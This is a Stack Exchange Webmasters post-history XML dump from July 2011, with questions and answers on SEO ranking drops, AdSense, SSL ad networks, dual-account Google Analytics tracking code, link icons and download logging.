  <row Id="40586" PostHistoryTypeId="2" PostId="16941" RevisionGUID="8218999c-2345-49f9-a2c9-1d3433ae0db6" CreationDate="2011-07-16T03:48:59.250" UserId="5806" Text="There has been a significant drop (40%) in traffic from Google to one of my well-established sites (6+ years) in the last four days. So I did searches for my top keywords as I do weekly and found that the top-3 had all dropped 2 places from last week (one of them now last spot on page #1). Needless to say I feel panic starting :(&#xD;&#xA;&#xD;&#xA;There has been no major changes during this period or the last month on the site and certainly not in the homepage which has dropped rank. There has been new content added weekly or so, as it has for the last years. I am aware there are [200 factors for ranking][1] but the question is **what are steps to figure out what caused the drop?** If it is my fault? Or, someone else's fault?&#xD;&#xA;&#xD;&#xA;Over all the years of running this site and plenty of others, I have never experienced this. There are no duplicate content on my site and I have rigorously used canonical links for the last few years to ensure it is not misinterpreted as such.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11327/googles-200-ranking-factors" />
  <row Id="40587" PostHistoryTypeId="1" PostId="16941" RevisionGUID="8218999c-2345-49f9-a2c9-1d3433ae0db6" CreationDate="2011-07-16T03:48:59.250" UserId="5806" Text="How to diagnose a search engine ranking drop?" />
  <row Id="40588" PostHistoryTypeId="3" PostId="16941" RevisionGUID="8218999c-2345-49f9-a2c9-1d3433ae0db6" CreationDate="2011-07-16T03:48:59.250" UserId="5806" Text="&lt;seo&gt;&lt;google&gt;&lt;ranking&gt;" />
  <row Id="40589" PostHistoryTypeId="2" PostId="16942" RevisionGUID="4d360e69-d8a9-46d7-b4e0-ccbec5ce5247" CreationDate="2011-07-16T03:53:48.473" UserId="5806" Text="It is a bug. I discovered that some of the AddThis customization options cause the FB totals not to be added correctly. I have stopped using the offending elements." />
  <row Id="40591" PostHistoryTypeId="2" PostId="16943" RevisionGUID="247d24ab-a10b-4b0f-8ffd-619a5d25f74c" CreationDate="2011-07-16T04:01:09.303" UserId="1253" Text="Some possibilities:&#xD;&#xA;&#xD;&#xA;- The sites who moved up in the rankings may have gotten quality links that boosted their relevancy (as opposed to you losing relevancy).&#xD;&#xA;&#xD;&#xA;- The sites that leaped ahead of you made big improvements in their SEO and now are reaping the rewards&#xD;&#xA;&#xD;&#xA;- There was a small algorithm change that played to the other sites' strengths&#xD;&#xA;&#xD;&#xA;- There was a small algorithm change that played against your weaknesses&#xD;&#xA;&#xD;&#xA;Also keep in mind that rankings naturally fluctuate. It's very possible you will return to your previous rankings soon without having to change anything on your site. &#xD;&#xA;&#xD;&#xA;One thing you should do is check to see if any of the sites that moved ahead of you are new or if they made any changes (if you don't check out the competition regularly you may not be able to do this). If so, you may want to make similar changes and see if it helps you. Be prepared to roll the changes back if they do not help or hurt your rankings.&#xD;&#xA;&#xD;&#xA;My advice whenever someone has this occur is always **don't panic** and **don't change anything**. This is a perfect opportunity for you to make changes that you really don't need to make and they end up hurting you in the end. &#xD;&#xA;&#xD;&#xA;If your content is still strong then wait it out. Keep getting links to your pages. Don't panic. Be patient." />
  <row Id="40595" PostHistoryTypeId="5" PostId="16943" RevisionGUID="39b0fa2a-2b95-47ce-9600-09c386f1d6c0" CreationDate="2011-07-16T04:14:42.207" UserId="1253" Comment="added 37 characters in body" Text="Some possibilities:&#xD;&#xA;&#xD;&#xA;- The sites who moved up in the rankings may have gotten quality links that boosted their relevancy (as opposed to you losing relevancy).&#xD;&#xA;&#xD;&#xA;- You may have lost quality links&#xD;&#xA;&#xD;&#xA;- The sites that leaped ahead of you made big improvements in their SEO and now are reaping the rewards&#xD;&#xA;&#xD;&#xA;- There was a small algorithm change that played to the other sites' strengths&#xD;&#xA;&#xD;&#xA;- There was a small algorithm change that played against your weaknesses&#xD;&#xA;&#xD;&#xA;Also keep in mind that rankings naturally fluctuate. It's very possible you will return to your previous rankings soon without having to change anything on your site. &#xD;&#xA;&#xD;&#xA;One thing you should do is check to see if any of the sites that moved ahead of you are new or if they made any changes (if you don't check out the competition regularly you may not be able to do this). If so, you may want to make similar changes and see if it helps you. Be prepared to roll the changes back if they do not help or hurt your rankings.&#xD;&#xA;&#xD;&#xA;My advice whenever someone has this occur is always **don't panic** and **don't change anything**. This is a perfect opportunity for you to make changes that you really don't need to make and they end up hurting you in the end. &#xD;&#xA;&#xD;&#xA;If your content is still strong then wait it out. Keep getting links to your pages. Don't panic. Be patient." />
  <row Id="40596" PostHistoryTypeId="2" PostId="16944" RevisionGUID="9d789472-40bf-4213-85a7-b9c4eefdf141" CreationDate="2011-07-16T04:21:31.483" UserId="6033" Text="If you're using a good analytics program, check if the majority of your pages have taken a hit or just the top pages. Example: look at your middle of the road pages and see if they've also been reduced by 20 - 60%. If you see a consistent drop across your pages then you've likely been bitten by Panda and there's a long road ahead. Don't panic though, but there is no easy fix to the problem.&#xD;&#xA;&#xD;&#xA;If you're just seeing changes in a top few pages then you really have nothing to worry about and should just continue what you normally do. &#xD;&#xA;&#xD;&#xA;What's your site's main source of revenue? " />
  <row Id="40597" PostHistoryTypeId="5" PostId="16944" RevisionGUID="23d31ce8-9b8c-494d-87d1-0c09b5c1242c" CreationDate="2011-07-16T04:39:19.773" UserId="6033" Comment="added 309 characters in body" Text="If you're using a good analytics program, check if the majority of your pages have taken a hit or just the top pages. Example: look at your middle of the road pages and see if they've also been reduced by 20 - 60%. If you see a consistent drop across your pages then you've likely been bitten by Panda and there's a long road ahead. Don't panic though, but there is no easy fix to the problem.&#xD;&#xA;&#xD;&#xA;If you're just seeing changes in a top few pages then you really have nothing to worry about and should just continue what you normally do. &#xD;&#xA;&#xD;&#xA;Given the age of your site, it's also possible that a number of incoming links to your site were devalued during an algorithm update and that caused a domino effect across your pages. So it might not have been directly related to your site, but more a reflection of the relevance of sites linking to you. &#xD;&#xA;&#xD;&#xA;What's your site's main source of revenue? " />
  <row Id="40600" PostHistoryTypeId="17" PostId="16946" RevisionGUID="c5cc66e3-1a19-4a9c-9c22-2a8cbe004848" CreationDate="2011-07-16T05:16:29.830" UserId="-1" Comment="from http://serverfault.com/questions/290926/are-there-any-ad-networks-that-serve-ads-over-ssl" Text="" />
  <row Id="40601" PostHistoryTypeId="2" PostId="16946" RevisionGUID="ebe958e2-04c3-434c-8d67-5a8a39ccb2c4" CreationDate="2011-07-16T04:45:18.297" UserDisplayName="Petey B" Text="I have recently enabled SSL on my site, now my google ads cause some browsers to complain about unsecured content. Are there any ad networks that serve ads over SSL?" />
  <row Id="40602" PostHistoryTypeId="1" PostId="16946" RevisionGUID="ebe958e2-04c3-434c-8d67-5a8a39ccb2c4" CreationDate="2011-07-16T04:45:18.297" UserDisplayName="Petey B" Text="Are there any ad networks that serve ads over SSL?" />
  <row Id="40603" PostHistoryTypeId="3" PostId="16946" RevisionGUID="ebe958e2-04c3-434c-8d67-5a8a39ccb2c4" CreationDate="2011-07-16T04:45:18.297" UserDisplayName="Petey B" Text="&lt;ssl&gt;&lt;advertising&gt;" />
  <row Id="40604" PostHistoryTypeId="25" PostId="16941" RevisionGUID="c4c44cb7-5bf3-4da4-8718-97ee9ae8ffc4" CreationDate="2011-07-16T06:31:42.677" Comment="http://twitter.com/#!/StackWebmasters/status/92119195508162561" />
  <row Id="40605" PostHistoryTypeId="2" PostId="16947" RevisionGUID="3d2b2d77-0920-486f-81bb-8b8c8715df82" CreationDate="2011-07-16T06:53:58.633" UserId="3312" Text="I recently added a new feature to a website, which resulted in a few hundred extra pages being added to the site.&#xD;&#xA;&#xD;&#xA;I added these new pages to sitemaps, with the hope that they would attract some 'longtail' queries.&#xD;&#xA;&#xD;&#xA;However, it seems that traffic from google has dropped off significantly since this addition.&#xD;&#xA;&#xD;&#xA;One problem might be that these new pages are rather light on content (although, they are very useful), and that they outnumber the 'normal' pages on the site.&#xD;&#xA;&#xD;&#xA;- Is this the most likely reason for the problem? If not, what?&#xD;&#xA;&#xD;&#xA;I would like to get back to the google traffic I had before this change, but am not sure about the best way to go.  As I see it, my options are:&#xD;&#xA;&#xD;&#xA;- Remove the new pages from the site map (I don't think this will make a difference now)&#xD;&#xA;- Add change internal links to the new pages to no-follow&#xD;&#xA;- just wait?&#xD;&#xA;" />
  <row Id="40606" PostHistoryTypeId="1" PostId="16947" RevisionGUID="3d2b2d77-0920-486f-81bb-8b8c8715df82" CreationDate="2011-07-16T06:53:58.633" UserId="3312" Text="Lower Google traffic after adding more pages?" />
  <row Id="40607" PostHistoryTypeId="3" PostId="16947" RevisionGUID="3d2b2d77-0920-486f-81bb-8b8c8715df82" CreationDate="2011-07-16T06:53:58.633" UserId="3312" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="40608" PostHistoryTypeId="2" PostId="16948" RevisionGUID="f82f1832-632c-4172-b645-e45abed4f161" CreationDate="2011-07-16T07:00:15.227" UserId="8996" Text="I'm currently running a modified Wordpress site that is uniquely designed to simply publish links to other sites, similar to The Drudge Report. Right now I have a few dozen Google Alerts setup and go through each result manually and if it matches a few niche keywords I'm working with, then I add a link to the article to my site. I do the manual checking because sometimes Google Alerts finds links to sites that belong to service providers, organizations, or products, but all I want are mainstream news articles. So my question is there a more efficient - and ideally automated - way to go about performing highly qualitative searches and aggregating such links?" />
  <row Id="40609" PostHistoryTypeId="1" PostId="16948" RevisionGUID="f82f1832-632c-4172-b645-e45abed4f161" CreationDate="2011-07-16T07:00:15.227" UserId="8996" Text="Suggested ways of collecting 1000's of links to MSM media articles" />
  <row Id="40610" PostHistoryTypeId="3" PostId="16948" RevisionGUID="f82f1832-632c-4172-b645-e45abed4f161" CreationDate="2011-07-16T07:00:15.227" UserId="8996" Text="&lt;links&gt;" />
  <row Id="40611" PostHistoryTypeId="17" PostId="16949" RevisionGUID="b47b44fd-bbae-48a3-abbc-a54207d592bd" CreationDate="2011-07-16T07:28:44.760" UserId="-1" Comment="from http://stackoverflow.com/questions/6645377/php-database-advertising-directory" Text="" />
  <row Id="40612" PostHistoryTypeId="17" PostId="16950" RevisionGUID="8796afec-3014-4218-9229-3b8a2110391b" CreationDate="2011-07-16T07:28:44.760" UserId="-1" Comment="from http://stackoverflow.com/questions/6645377/php-database-advertising-directory" Text="" />
  <row Id="40613" PostHistoryTypeId="2" PostId="16950" RevisionGUID="88bc76d5-d653-453d-9d32-95e523db2cf2" CreationDate="2011-07-11T03:22:15.797" UserDisplayName="David Richard" Text="There are a multitude of free CMS backends including Joomla, Drupal, Wordpress, etc. The ones I listed tend to be the most popular. These allow for easy editing of content on a webpage by non-technical users as well as creation of template pages." />
  <row Id="40614" PostHistoryTypeId="2" PostId="16949" RevisionGUID="6c4364f2-f32b-4cd9-99c5-30bbd8476734" CreationDate="2011-07-11T03:05:06.567" UserDisplayName="user838160" Text="I'm a Web Designer I know everything there is to know about CSS &amp; HTML and Graphic Design.&#xD;&#xA;&#xD;&#xA;Lately I've been getting clients requesting higher development than I'm used to.&#xD;&#xA;So I'm left with out-sourcing.&#xD;&#xA;&#xD;&#xA;What would it cost or is there already a system with a CMS like Joomla&#xD;&#xA;that would create the back-end of a website like this one:&#xD;&#xA;http://www.appliance-appointment.com/" />
  <row Id="40615" PostHistoryTypeId="1" PostId="16949" RevisionGUID="6c4364f2-f32b-4cd9-99c5-30bbd8476734" CreationDate="2011-07-11T03:05:06.567" UserDisplayName="user838160" Text="PHP / Database Advertising Directory" />
  <row Id="40616" PostHistoryTypeId="3" PostId="16949" RevisionGUID="6c4364f2-f32b-4cd9-99c5-30bbd8476734" CreationDate="2011-07-11T03:05:06.567" UserDisplayName="user838160" Text="&lt;php&gt;&lt;database&gt;&lt;cms&gt;&lt;advertising&gt;" />
  <row Id="40617" PostHistoryTypeId="5" PostId="16947" RevisionGUID="52bf3566-353e-4513-8100-341a1b320fc4" CreationDate="2011-07-16T08:03:08.817" UserId="3312" Comment="added 7 characters in body" Text="I recently added a new feature to a website, which resulted in a few hundred extra pages being added to the site.&#xD;&#xA;&#xD;&#xA;I added these new pages to google sitemaps, with the hope that they would attract some 'longtail' queries.&#xD;&#xA;&#xD;&#xA;However, it seems that traffic from google has dropped off significantly since this addition.&#xD;&#xA;&#xD;&#xA;One problem might be that these new pages are rather light on content (although, they are very useful), and that they outnumber the 'normal' pages on the site.&#xD;&#xA;&#xD;&#xA;- Is this the most likely reason for the problem? If not, then what?&#xD;&#xA;&#xD;&#xA;I would like to get back to the google traffic I had before this change, but am not sure about the best way to go.  As I see it, my options are:&#xD;&#xA;&#xD;&#xA;- Remove the new pages from the site map (I don't think this will make a difference now)&#xD;&#xA;- Change internal links to the new pages to no-follow&#xD;&#xA;- Just wait?&#xD;&#xA;" />
  <row Id="40618" PostHistoryTypeId="2" PostId="16951" RevisionGUID="6b94b21b-b37f-4e46-89c5-2200759166bb" CreationDate="2011-07-16T08:34:37.180" UserId="9147" Text="How to choose good keywords or phrases with respective to competition, monthly global searches and monthly local searches? &#xD;&#xA;&#xD;&#xA;I am using google keyword tool. I am concentrating on Match type : &quot;Phrase&quot;.&#xD;&#xA;&#xD;&#xA;Is this good enough?&#xD;&#xA;&#xD;&#xA;Match Type : &quot;Phrase&quot;&#xD;&#xA;Competition less is at 3%&#xD;&#xA;Monthly Global search is 1600&#xD;&#xA;Monthly local search is 110&#xD;&#xA;&#xD;&#xA;Please enlighten me...&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="40619" PostHistoryTypeId="1" PostId="16951" RevisionGUID="6b94b21b-b37f-4e46-89c5-2200759166bb" CreationDate="2011-07-16T08:34:37.180" UserId="9147" Text="Choosing good keywords with respect to match type &quot;Phrase&quot; only." />
  <row Id="40620" PostHistoryTypeId="3" PostId="16951" RevisionGUID="6b94b21b-b37f-4e46-89c5-2200759166bb" CreationDate="2011-07-16T08:34:37.180" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;&lt;seo-friendly&gt;" />
  <row Id="40621" PostHistoryTypeId="2" PostId="16952" RevisionGUID="d3f7ee04-c0cc-4ff5-a18a-7deeab07fac6" CreationDate="2011-07-16T08:50:02.297" UserId="7198" Text="You can send tracking data to multiple Analytics accounts using the asynchronous tracking API to [send multiple commands](http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html#MultipleCommands). For example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;    &#xD;&#xA;      //Send data to the client's Google Analytics account&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-12345-1']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;      //Send data to your Google Analytics account&#xD;&#xA;      _gaq.push(['b._setAccount', 'UA-12345-2']);&#xD;&#xA;      _gaq.push(['b._setDomainName', 'none']);&#xD;&#xA;      _gaq.push(['b._setAllowHash', 'false']);&#xD;&#xA;      _gaq.push(['b._setAllowLinker', true]);&#xD;&#xA;      _gaq.push(['b._trackPageview']);&#xD;&#xA;    &#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;    &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will send data to their Analytics account (UA-12345-1) for visits to that domain only, and it will send data to your Analytics account (UA-12345-2) for all sites using your app, so long as you include the code on every installation.&#xD;&#xA;&#xD;&#xA;The best way to implement this would be to build Google Analytics into your app, and prompt users for their 'UA-12345-1' Analytics account code. That way, they won't have to add Analytics code themselves, which might risk messing up your setup.&#xD;&#xA;&#xD;&#xA;You should also mention to them that you're tracking their usage of the app in order to improve your product, either directly or in your terms and conditions.&#xD;&#xA;" />
  <row Id="40625" PostHistoryTypeId="2" PostId="16954" RevisionGUID="ebe30ddd-c434-43af-8f87-b50062886304" CreationDate="2011-07-16T09:01:28.660" UserId="6776" Text="My first blog was in Sept. 2010,  all others from March 2011 onwards. &#xD;&#xA;This is the blog:  http://www.blogger.com/profile/02346097534938225864&#xD;&#xA;&#xD;&#xA;My sites are all getting rejected by Adsense so can I apply now with those original and good content blogs?&#xD;&#xA;Any tips and suggestions appreciated." />
  <row Id="40626" PostHistoryTypeId="1" PostId="16954" RevisionGUID="ebe30ddd-c434-43af-8f87-b50062886304" CreationDate="2011-07-16T09:01:28.660" UserId="6776" Text="Can I apply for Adsense for these blogs?" />
  <row Id="40627" PostHistoryTypeId="3" PostId="16954" RevisionGUID="ebe30ddd-c434-43af-8f87-b50062886304" CreationDate="2011-07-16T09:01:28.660" UserId="6776" Text="&lt;google-adsense&gt;" />
  <row Id="40632" PostHistoryTypeId="2" PostId="16957" RevisionGUID="6afa6264-0ad9-428a-846d-d97969697f84" CreationDate="2011-07-16T09:15:38.857" UserId="6776" Text="Yes the search gets affected by from which country we do the search. Does anybody have idea on what other factors Google may be profiling the search results?&#xD;&#xA;&#xD;&#xA;If we login our gmail account and then do the search from the same window, will the SERP vary?" />
  <row Id="40633" PostHistoryTypeId="1" PostId="16957" RevisionGUID="6afa6264-0ad9-428a-846d-d97969697f84" CreationDate="2011-07-16T09:15:38.857" UserId="6776" Text="Does Google search affected by our profiles and other factors?" />
  <row Id="40634" PostHistoryTypeId="3" PostId="16957" RevisionGUID="6afa6264-0ad9-428a-846d-d97969697f84" CreationDate="2011-07-16T09:15:38.857" UserId="6776" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="40637" PostHistoryTypeId="2" PostId="16958" RevisionGUID="e6834822-e0fd-411d-9ae9-7b578d45024a" CreationDate="2011-07-16T09:25:57.087" UserId="6060" Text="I currently use&#xD;&#xA;![enter image description here][1] to refer to an external link on my personal website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/GWAKR.png &#xD;&#xA;&#xD;&#xA;However recently I have started noticing extended use of → for links. Is this a replacement for ![enter image description here][1] ? or is it used to convey some other meaning?" />
  <row Id="40638" PostHistoryTypeId="1" PostId="16958" RevisionGUID="e6834822-e0fd-411d-9ae9-7b578d45024a" CreationDate="2011-07-16T09:25:57.087" UserId="6060" Text="where should I use new → I see everywhere?" />
  <row Id="40639" PostHistoryTypeId="3" PostId="16958" RevisionGUID="e6834822-e0fd-411d-9ae9-7b578d45024a" CreationDate="2011-07-16T09:25:57.087" UserId="6060" Text="&lt;links&gt;" />
  <row Id="40640" PostHistoryTypeId="2" PostId="16959" RevisionGUID="81c59349-92ac-469d-866c-95aa1e82c89b" CreationDate="2011-07-16T09:26:15.910" UserId="8957" Text="I have looked at your blogs and it seems like there's only one post on every blog (i checked 5 of them). I'm not sure how likely it is that google will accept you with only one post on a blog.&#xD;&#xA;I would suggest creating a new blog and writing a few posts on one blog instead of writing one post each on many blogs.&#xD;&#xA;I am also not sure how likely it is that google will manually check the sites you apply for, in which case 'tips for buying adsense accounts' might not be a great idea for a post." />
  <row Id="40641" PostHistoryTypeId="25" PostId="16958" RevisionGUID="8873bf27-7c46-463e-9f52-697537425a2b" CreationDate="2011-07-16T09:31:42.777" Comment="http://twitter.com/#!/StackWebmasters/status/92164493773258752" />
  <row Id="40642" PostHistoryTypeId="2" PostId="16960" RevisionGUID="38404576-902e-4354-adba-ecf3e41f84bc" CreationDate="2011-07-16T09:35:57.923" UserId="4502" Text="People use all sorts of things for links. Use whatever makes sense for your actual design. The icon you're currently using is fairly common and well-known. For whatever it's worth, I don't think I've ever encountered that → character in this use. Asking if it's a replacement kind of assumes there's a standard in the first place; there isn't.  &#xD;&#xA;&#xD;&#xA;Such indicators have largely gone out of fashion in my own experience. I probably only see them anymore on sites that by nature are very heavily internally linked and so external links really are a bit of an oddity, eg. Wikipedia. Anywhere else, it's just an assumed possibility that you might get sent off-site." />
  <row Id="40657" PostHistoryTypeId="10" PostId="16954" RevisionGUID="8ac7e4b3-b4e3-4321-86ab-03b948ad3b75" CreationDate="2011-07-16T11:45:48.667" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40662" PostHistoryTypeId="5" PostId="16957" RevisionGUID="68bdf7d3-15b1-4c5f-9cab-3191818b4e51" CreationDate="2011-07-16T11:46:49.027" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Yes the search gets affected by from which country we do the search. Does anybody have idea on what other factors Google may be profiling the search results?&#xD;&#xA;&#xD;&#xA;If we login our gmail account and then do the search from the same window, will the SERP vary?" />
  <row Id="40663" PostHistoryTypeId="10" PostId="16957" RevisionGUID="e12484d4-03af-4688-97bc-0d7a8f3804c5" CreationDate="2011-07-16T11:46:48.323" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40664" PostHistoryTypeId="2" PostId="16963" RevisionGUID="5263edaf-1e3f-4528-b03c-9f5957fdd899" CreationDate="2011-07-16T11:52:26.650" UserId="1253" Text="That's a plausible reason for the traffic to drop. If Google's Panda algorithm affects those pages then they may be filtered out or reduced in value. Then because your links to those pages are essentially pointing to &quot;nothing&quot; you're channel PageRank and general link love to &quot;nothing&quot;.&#xD;&#xA;&#xD;&#xA;Waiting to see if it improves is a good idea as this stuff tends to happen every now and then. If you want to experiment and see what happens when you remove the content it would be a quick way to know for sure if it is hurting you or not." />
  <row Id="40665" PostHistoryTypeId="2" PostId="16964" RevisionGUID="01ae0759-d38e-440c-8029-20b50ca901a8" CreationDate="2011-07-16T12:23:39.207" UserId="2115" Text="Having one backlink of a website on other's website's page.&#xD;&#xA;&#xD;&#xA;vs&#xD;&#xA;&#xD;&#xA;Having more than one backlink of the same url on other's website's page (same page).&#xD;&#xA;&#xD;&#xA;Will the effect be same on PR?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40666" PostHistoryTypeId="1" PostId="16964" RevisionGUID="01ae0759-d38e-440c-8029-20b50ca901a8" CreationDate="2011-07-16T12:23:39.207" UserId="2115" Text="Single backlink vs Multiple backlinks on the same page." />
  <row Id="40667" PostHistoryTypeId="3" PostId="16964" RevisionGUID="01ae0759-d38e-440c-8029-20b50ca901a8" CreationDate="2011-07-16T12:23:39.207" UserId="2115" Text="&lt;pagerank&gt;" />
  <row Id="40668" PostHistoryTypeId="25" PostId="16947" RevisionGUID="fb99b934-5694-41f1-86a9-bbd103c56315" CreationDate="2011-07-16T12:31:43.640" Comment="http://twitter.com/#!/StackWebmasters/status/92209793971924992" />
  <row Id="40669" PostHistoryTypeId="2" PostId="16965" RevisionGUID="756bd090-1b69-4c21-be4a-96b1251f83ef" CreationDate="2011-07-16T12:34:56.790" UserId="1253" Text="Hard to say. According to the PageRank formula more PR *should* be sent to the page receiving the backlinks. But it is possible that Google has implemented spam controls to limit abuse of PR.&#xD;&#xA;&#xD;&#xA;Obligatory PR statement: don't worry about PR. It's worth a lot less then you think. It used to be more important but since its original implementation it has been greatly devalued in Google's algorithm." />
  <row Id="40670" PostHistoryTypeId="5" PostId="16963" RevisionGUID="830d4b2c-535f-48f6-9399-aa3df64fe481" CreationDate="2011-07-16T12:36:16.133" UserId="1253" Comment="added 4 characters in body" Text="That's a plausible reason for the traffic to drop. If Google's Panda algorithm affects those pages then they may be filtered out or reduced in value. Then because your links to those pages are essentially pointing to &quot;nothing&quot; you're channel PageRank and general link love to &quot;nothing&quot;.&#xD;&#xA;&#xD;&#xA;Waiting to see if it improves is a good idea as this stuff tends to happen every now and then. But if you want to experiment and see what happens when you remove the content it would be a quick way to know for sure if it is hurting you or not." />
  <row Id="40671" PostHistoryTypeId="17" PostId="16966" RevisionGUID="29eb5a36-0588-4b1e-b01d-f5253055e2c7" CreationDate="2011-07-16T13:26:41.803" UserId="-1" Comment="from http://stackoverflow.com/questions/6717474/moving-articles-from-a-blog-to-another-blog" Text="" />
  <row Id="40672" PostHistoryTypeId="2" PostId="16966" RevisionGUID="9c8c9c98-c404-463d-be83-1d907deb7498" CreationDate="2011-07-16T12:52:07.923" UserId="4465" Text="I was writing a blog which all users can publish their articles. But now this blog will be closed. SO i want to move my articles to my personal blog. But I'm worrying about Google Sandbox.&#xD;&#xA;&#xD;&#xA;Can i move my articles to my personal blog without any SEO mistake ?" />
  <row Id="40673" PostHistoryTypeId="1" PostId="16966" RevisionGUID="9c8c9c98-c404-463d-be83-1d907deb7498" CreationDate="2011-07-16T12:52:07.923" UserId="4465" Text="Moving Articles From A Blog to Another Blog" />
  <row Id="40674" PostHistoryTypeId="3" PostId="16966" RevisionGUID="9c8c9c98-c404-463d-be83-1d907deb7498" CreationDate="2011-07-16T12:52:07.923" UserId="4465" Text="&lt;seo&gt;" />
  <row Id="40675" PostHistoryTypeId="2" PostId="16967" RevisionGUID="cb506985-6aef-4a72-bca8-b9675896a9b8" CreationDate="2011-07-16T14:19:40.627" UserId="8687" Text="Have you edited any search engine control factors such as your robots.txt or settings in webmasters.google.com? It very easy to accidentally block google or change some setting that alters how google views your site.&#xD;&#xA;&#xD;&#xA;Have you checked your site for broken links or broken pages. Make sure that you site is loading the way you expect it to load. Find a friends PC and test on it too." />
  <row Id="40676" PostHistoryTypeId="25" PostId="16946" RevisionGUID="1f73f234-b53f-4ab5-ac92-666d9f0e5121" CreationDate="2011-07-16T15:31:44.053" Comment="http://twitter.com/#!/StackWebmasters/status/92255095114309632" />
  <row Id="40677" PostHistoryTypeId="2" PostId="16968" RevisionGUID="6025fdfd-3260-4578-98ec-acbfb6b5adf6" CreationDate="2011-07-16T15:55:00.800" UserId="1240" Text="If you change your alert to only look for News it should remove sites such as service providers, organisations and products.&#xD;&#xA;&#xD;&#xA;You can also remove sites from your search using `-site:` in your search." />
  <row Id="40678" PostHistoryTypeId="2" PostId="16969" RevisionGUID="78b07fde-86e7-4b26-a500-87a5790a73af" CreationDate="2011-07-16T16:01:31.457" UserId="1240" Text="Semantically I think → is an incorrect choice for external links because to me that reads like 'continue on in this direction'.  I also don't know how that is read by a screen reader (being that it is a text character and all)&#xD;&#xA;&#xD;&#xA;That being said, as Su' has mentioned, there is no standard nor any real need to adopt one." />
  <row Id="40679" PostHistoryTypeId="2" PostId="16970" RevisionGUID="554459c7-347a-48ae-853d-aeed1a9388c9" CreationDate="2011-07-16T16:20:26.813" UserId="1240" Text="So long as you can include some `301 moved permanently` markers on the old content it should be fine." />
  <row Id="40680" PostHistoryTypeId="2" PostId="16971" RevisionGUID="acf23374-6b93-4655-aa15-c764c96652ae" CreationDate="2011-07-16T17:28:45.423" UserId="9003" Text="Right, beginner here so bare with me..&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**What i've got:** A simple html/css website with a page where clients can find informative documents in the form of PDF's and rich text documents, they can just click the link to download the documents as desired.&#xD;&#xA;&#xD;&#xA;**What the website owner wants:** When the client/user selects a document to download, a form appears asking them to input their personal or company name and submit before allowing them to download as normal. This information, who downloaded what and when, should be emailed to the website owner or possibly logged in a hidden site page. &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I've never done any server-side scripting but i'm happy to learn. (I'm no professional, just throwing this together for a family friend according to their specifications).&#xD;&#xA;The reason i gave up googling temporarily and came here is that with all the different possible approaches and presumably a lot of outdated information i'm a bit lost on such a big topic. &#xD;&#xA;&#xD;&#xA;So i'm looking for a recommendation for a scripting language and a point in the right direction in terms of methods of tutorials i could put to work to implement the above. Or perhaps even a simple opensource script that i could learn from and adapt to suit the website owners needs. &#xD;&#xA;&#xD;&#xA;Any advice appreciated! Sorry if this isn't the right place/question to ask.&#xD;&#xA;&#xD;&#xA;**Scripting languages his host accepts:** perl, php, python." />
  <row Id="40681" PostHistoryTypeId="1" PostId="16971" RevisionGUID="acf23374-6b93-4655-aa15-c764c96652ae" CreationDate="2011-07-16T17:28:45.423" UserId="9003" Text="How to inform website owner if someone downloads something from the website?" />
  <row Id="40682" PostHistoryTypeId="3" PostId="16971" RevisionGUID="acf23374-6b93-4655-aa15-c764c96652ae" CreationDate="2011-07-16T17:28:45.423" UserId="9003" Text="&lt;php&gt;&lt;web-development&gt;&lt;looking-for-a-script&gt;&lt;download&gt;&lt;server-side-scripting&gt;" />
  <row Id="40683" PostHistoryTypeId="2" PostId="16972" RevisionGUID="26312fc0-c4b7-4b80-8a73-3d6336c824b2" CreationDate="2011-07-16T17:33:11.507" UserId="1803" Text="I don't know how you are including the alternate style-sheets, but a `&lt;link rel=&quot;alternate stylesheet&quot; … /&gt;` will NOT be loaded by a browser automatically. Instead modern browsers like Opera or Firefox provide a menu-option, for allowing the user to switch to an alternate stylesheet. But that may also be spiced up using JavaScript. For example see [&quot;Alternative Style: Working With Alternate Style Sheets&quot; (ALA, 2001)][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/alternate/" />
  <row Id="40684" PostHistoryTypeId="2" PostId="16973" RevisionGUID="a614828e-e73f-49a2-938a-cfb7aac0403d" CreationDate="2011-07-16T17:41:38.490" UserId="1803" Text="A pretty tutorial for doing it via PHP can be found here: http://tutorialzine.com/2010/02/php-mysql-download-counter/&#xD;&#xA;&#xD;&#xA;Or maybe even here: http://www.google.com/search?hl=all&amp;q=php+download+counter ;-)" />
